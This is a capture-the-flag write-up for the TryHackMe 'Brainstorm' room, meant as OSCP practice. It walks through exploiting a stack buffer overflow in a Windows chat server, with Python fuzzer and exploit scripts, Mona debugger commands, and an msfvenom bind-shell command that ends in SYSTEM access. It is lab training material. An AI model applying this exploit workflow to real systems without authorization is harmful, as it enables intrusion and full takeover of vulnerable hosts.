Brainstorm is a Windows room inside of TryHackMe’s Offensive Pentesting learning path centered around exploiting a stack-based buffer overflow vulnerability.

Despite the changes to the structure of the OSCP exam, there’s still a possibility to receive a machine with a buffer overflow vulnerability as a low-privilege attack vector.

Therefore, Brainstorm is a solid practice room that can help you develop a straightforward approach to stack-based buffer overflows with the help of Immunity Debugger and Python.

Scanning

Threader 3000 will quickly discover open ports on the machine, after which we can run an Nmap scan with default scripts and version detection.

Threader 3000 - Multi-threaded Port Scanner
------------------------------------------------------------
Scanning target 10.10.206.121
------------------------------------------------------------
Port 21 is open
Port 3389 is open
Port 9999 is open
┌──(kalikali)-[~/thm/brainstormRoom]
└─$ sudo nmap -Pn -n -sCV -p 21,3389,9999 10.10.206.121 -T4 -oN nmapSCV
PORT     STATE SERVICE        VERSION
21/tcp   open  ftp            Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
3389/tcp open  ms-wbt-server?
| ...
9999/tcp open  abyss?
| ...
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:

Port 9999 hosts an application called “Brainstorm chat.”

Anonymous FTP login is allowed, so let’s enumerate the FTP server.

Enumeration

┌──(kalikali)-[~/thm/brainstormRoom]
└─$ ftp 10.10.206.121
Name (10.10.206.121:kali): anonymous
. . .
ftp> dir
. . .
08-29-19  07:36PM       <DIR>          chatserver
ftp> cd chatserver
. . .
ftp> dir
. . .
08-29-19  09:26PM                43747 chatserver.exe
08-29-19  09:27PM                30761 essfunc.dll

After logging in with anonymous access, I discovered a folder named chatserver.

Inside of that directory, there were two files:

  • chatserver.exe, the chat server executable that corresponds to port 9999 on the target
  • essfunc.dll, a dynamic-link library file used by chatserver.exe
. . .
ftp> prompt OFF
Interactive mode off.
ftp> binary
200 Type set to I.
ftp> mget *
. . .

I downloaded them to my machine for closer inspection.

They’re both 32-bit Windows files, so I’ll use PowerShell and a Python web server to transfer them to my Windows 11 VM.

With the files on my Windows VM that has Immunity Debugger and Mona installed and security features disabled, I can begin to experiment with chatserver.exe.

After starting the server and observing what appeared, I noticed that it was “Waiting for connections.”

Inside of Kali, I confirmed that it was identical to the target’s chat server by connecting to port 9999 with Netcat and interacting with the program.

Fuzzing

Let’s start the program in Immunity Debugger and fuzz the application to determine a breakpoint.

I’ll test the username field first by entering a 100-character long string of A’s into it.

Nothing promising, as the length of my username was trimmed to the stated limit.

After sending an even longer string and viewing the outputs on the client-side and server-side, it was clear that the server handled the username input correctly by shortening it to 20 characters.

That makes the only remaining attack vector the message field of the application.

Knowing this, I wrote a Python script, fuzzer.py, that sends the chat server an arbitrary username and fuzzes for a breakpoint in the message field.

import socket, time, sys, os

ip = "192.168.56.110"
port = 9999
timeout = 4
string = "A" * 100

print(f"Target IP: {ip}\n")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  s.settimeout(timeout)
  s.connect((ip, port))
  s.send(bytes("USER", "latin-1"))
  s.recv(1024)
  while True:
    num_bytes = len(string)
    try:   
      print(f"Fuzzing {ip} with {num_bytes} bytes")
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
    except:
      print(f"Fuzzing crashed at {num_bytes} bytes\n")
      os.system(f"msf-pattern_create -l {num_bytes}")
      sys.exit(0)
    string += 100 * "A"
    time.sleep(1)

Exploitation

As you can see, the script automatically generated a Metasploit pattern by executing msf-pattern_create -l 2800.

We can use this long string of unique patterns to identify the EIP offset we need.

I’ll assign it to the payload variable that resides in another Python script I wrote, exploit.py:

import socket, time

ip = "192.168.56.110"
port = 9999

offset = 0
overflow = "A" * offset
retn = ""
padding = "<long msf-pattern goes here, excluded for brevity>"
payload = ("")
postfix = ""

"""
# Bad Chars:
# \x00
bad_chars = [
    b"\x00"
]
if len(bad_chars) <= 1:
    print(f"!mona findmsp -distance {len(payload)}")
else:
    for bad_char in bad_chars:
        payload = payload.replace(bad_char, b"")
"""

print(f"Offset: {offset}\nPayload: {len(payload)} chars\n")

buffer = overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  s.send(bytes("NAME", "latin-1"))
  s.recv(1024)
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

As you can see in the GIF above, I ran the exploit and copied a Mona command that we can use to determine the Extended Instruction Pointer (EIP) offset.

!mona findmsp -distance 2800

EIP is a register in x86 (32-bit) architectures that controls the flow of a program.

The “findmsp” command in Immunity Debugger will find all instances/references to our cyclic Metasploit pattern in memory, registers, etc.

Now that we know the EIP offset is 2012, let’s assign that value to our offset variable in exploit.py.

(Don’t forget to restart the chat server with CTRL+F2 and F9.)

Let’s start to weed out the application’s bad characters.

“Bad characters” are unwanted characters that have the potential to break our shellcode.

There’s a different set of bad characters for every program with a buffer overflow vulnerability.

\x00 (NULL byte) is always a bad character, and some of the widespread ones are:

  • \x0a for Line Feed
  • \x0d for Carriage Return
  • \xff for Form Feed

Inside of Immunity Debugger, we’ll execute !mona config -set workingfolder c:\mona\%p to assign our working folder and !mona bytearray -cpb "\x00" to generate a byte array that excludes the null byte (take note of the output location of the binary file).

We can run a short Python script to print 255 bad chars and then copy them.

for x in range(1, 256):
      print("\\x" + "{:02x}".format(x), end='')
print()

Within exploit.py, we’ll set retn to “AAAA” and assign the string of bad chars to the payload variable.

After running exploit.py, we can double-click the value of the ESP register and copy it.

With the server still offline, we’ll execute the following command to initiate a byte comparison:

!mona compare -f C:\mona\chatserver\bytearray.bin -a 00A6EEAC

Great! Mona returned a status of “Unmodified”, which is precisely what we want to see.

This tells us that the NULL byte is the only bad character for the chat server.

If we received a list of potential bad chars, we would have to append suspected ones to our “bad_chars” list in exploit.py, generate a new Mona bytearray excluding the bad chars, run the compare command, and repeat the process until “Unmodified” is returned.

If you’re interested in practicing that aspect of stack-based buffer overflows in addition to everything we’ve covered thus far, check out this OSCP prep room later on.

Our next step is to identify a jump point based on our sole bad character.

!mona jmp -r esp -cpb "\x00"

The “False” values indicate that certain protections are not in place, so it’s always best to keep that in mind when selecting the best jump point.

We received nine pointers. Out of all of them, the first one will suffice.

Now that we have the value “0x62501fdf”, our objective is to write the jump address in little-endian format (because chatserver.exe is a 32-bit application) and assign it to the retn variable.

This process is quite simple, as all we have to do is reverse the order of the address.

I’ll also set the padding variable to a string of 16 “No Operation” \x90 bytes to provide sufficient space in memory for our payload to unpack itself.

Our penultimate step is to generate a bind shell with msfvenom, excluding the NULL byte with the -b flag because it’s our only bad character.

msfvenom -p windows/shell_bind_tcp lport=4444 exitfunc=thread -b "\x00" -f c

I prefer bind shells over reverse shells for OSCP buffer overflow prep because they prevent issues that your report reviewer can have by eliminating the need for them to generate their own shellcode with msfvenom.

Let’s restart chatserver.exe and test the exploit on my Windows VM!

And we’re in! Our exploit is good to go.

We have to change the ip variable to match the target’s IP address, then run the exploit and connect to the listening port.

Boom! We’re instantly NT AUTHORITY\SYSTEM.

Root Flag

C:\Windows\system32>dir C:\Users

 Directory of C:\Users

08/29/2019  09:20 PM    <DIR>          .
08/29/2019  09:20 PM    <DIR>          ..
08/29/2019  09:21 PM    <DIR>          drake
11/20/2010  11:16 PM    <DIR>          Public

C:\Windows\system32>cd C:\Users\drake\Desktop

C:\Users\drake\Desktop>dir

 Directory of C:\Users\drake\Desktop

08/29/2019  09:55 PM    <DIR>          .
08/29/2019  09:55 PM    <DIR>          ..
08/29/2019  09:55 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  19,597,156,352 bytes free

C:\Users\drake\Desktop>type root.txt

5b10************************8f8a

Categories:

Updated: